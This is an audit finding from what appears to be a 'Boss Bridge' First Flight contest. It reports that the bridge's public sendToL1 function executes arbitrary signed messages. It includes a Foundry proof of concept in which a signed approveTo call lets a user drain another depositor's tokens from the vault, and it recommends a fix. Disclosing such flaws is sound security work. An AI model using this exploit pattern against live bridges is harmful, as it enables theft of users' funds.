First Flight #4: Boss Bridge

Summary

The sendToL1 function in the L1BossBridge contract presents a significant security vulnerability due to its public accessibility and the ability to process arbitrary messages. This flaw can be exploited to call any function in other contracts or transfer funds to any externally owned account, if for some reason the bridge contract receive funds (trough selfdestruct of another contract).

Vulnerability Details

Since sendToL1 is public and accepts a generic message, a malicious signer(in the context of the bridge contract) is able to manipulate a signed message to perform malicious actions, such as transferring funds or invoking functions on other contracts.

POC:
address deployer = makeAddr("deployer");
address user = makeAddr("user");
address userInL2 = makeAddr("userInL2");
Account operator = makeAccount("operator");

L1Token token;
L1BossBridge tokenBridge;
L1Vault vault;

function setUp() public {
    vm.startPrank(deployer);

    // Deploy token and transfer the user some initial balance
    token = new L1Token();
    token.transfer(address(user), 1000e18);

    // Deploy bridge
    tokenBridge = new L1BossBridge(IERC20(token));
    vault = tokenBridge.vault();

    // Add a new allowed signer to the bridge
    tokenBridge.setSigner(operator.addr, true);

    vm.stopPrank();
}

function testSendToL1CanAcceptAndSuccessfullyProcessArbitraryMessages() public {
    vm.startPrank(user);
    uint256 approveAmount = type(uint256).max;

    //For example a malicious signer can sign a message to approve a user to
    //spend the tokens of the vault by calling approveTo on behalf of the bridge
    bytes memory message =abi.encode(
        address(vault), // target
        0, // value
        abi.encodeCall(L1Vault.approveTo, (user, approveAmount)));

    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

    //use the malicious signature to let the user approve himself
    assertEq(token.allowance(address(vault), address(user)), 0);
    tokenBridge.sendToL1(v, r, s, message);
    assertEq(token.allowance(address(vault), address(user)), approveAmount);
    vm.stopPrank();

    //random user deposits their funds believing in the security of
    //the bridge and its vault
    address user2 = makeAddr("user2");
    vm.startPrank(deployer);
    token.transfer(address(user2), 1000e18);
    vm.stopPrank();

    vm.startPrank(user2);
    uint256 depositAmount = 10e18;
    uint256 user2InitialBalance = token.balanceOf(address(user2));

    token.approve(address(tokenBridge), depositAmount);
    tokenBridge.depositTokensToL2(user2, userInL2, depositAmount);

    assertEq(token.balanceOf(address(vault)), depositAmount);
    assertEq(token.balanceOf(address(user2)), user2InitialBalance - depositAmount);
    vm.stopPrank();

    //user transfer tokens to himself from the vault because of the
    //approval from the malicious signer and signature
    vm.startPrank(user);

    uint256 vaultInitialBalance = token.balanceOf(address(vault));
    uint256 userInitialBalance = token.balanceOf(address(user));

    token.transferFrom(address(vault), address(user), depositAmount);
    assertEq(token.balanceOf(address(vault)), vaultInitialBalance - depositAmount);
    assertEq(token.balanceOf(address(user)), userInitialBalance + depositAmount);

    vm.stopPrank();
}

   function _signMessage(
    bytes memory message,
    uint256 privateKey
)
    private
    pure
    returns (uint8 v, bytes32 r, bytes32 s)
{
    return vm.sign(privateKey, MessageHashUtils.toEthSignedMessageHash(keccak256(message)));
}

Impact

This vulnerability can have severe consequences, including unauthorized contract interactions and fund transfers. Malicious actors can leverage this to drain funds from the contract or execute unauthorized operations on connected contracts, severely compromising the security.

Tools Used

Manual code review and analysis

Recommendations

To mitigate this risk, the sendToL1 function should be made either internal or private, ensuring it can only be called through the controlled withdrawTokensToL1 function which always. This change would enforce that the value sent is always set to zero, as intended in the withdrawTokensToL1 function. The withdrawTokensToL1 always passes a message to call transferFrom and this does not contradict the bridge's purpose. Something more the withdrawTokensToL1 always makes the value 0 so if for some strange reason the bridge receives ETH it can not be withdrawn from a malicious signer, nevermind the ethereum will be still stuck.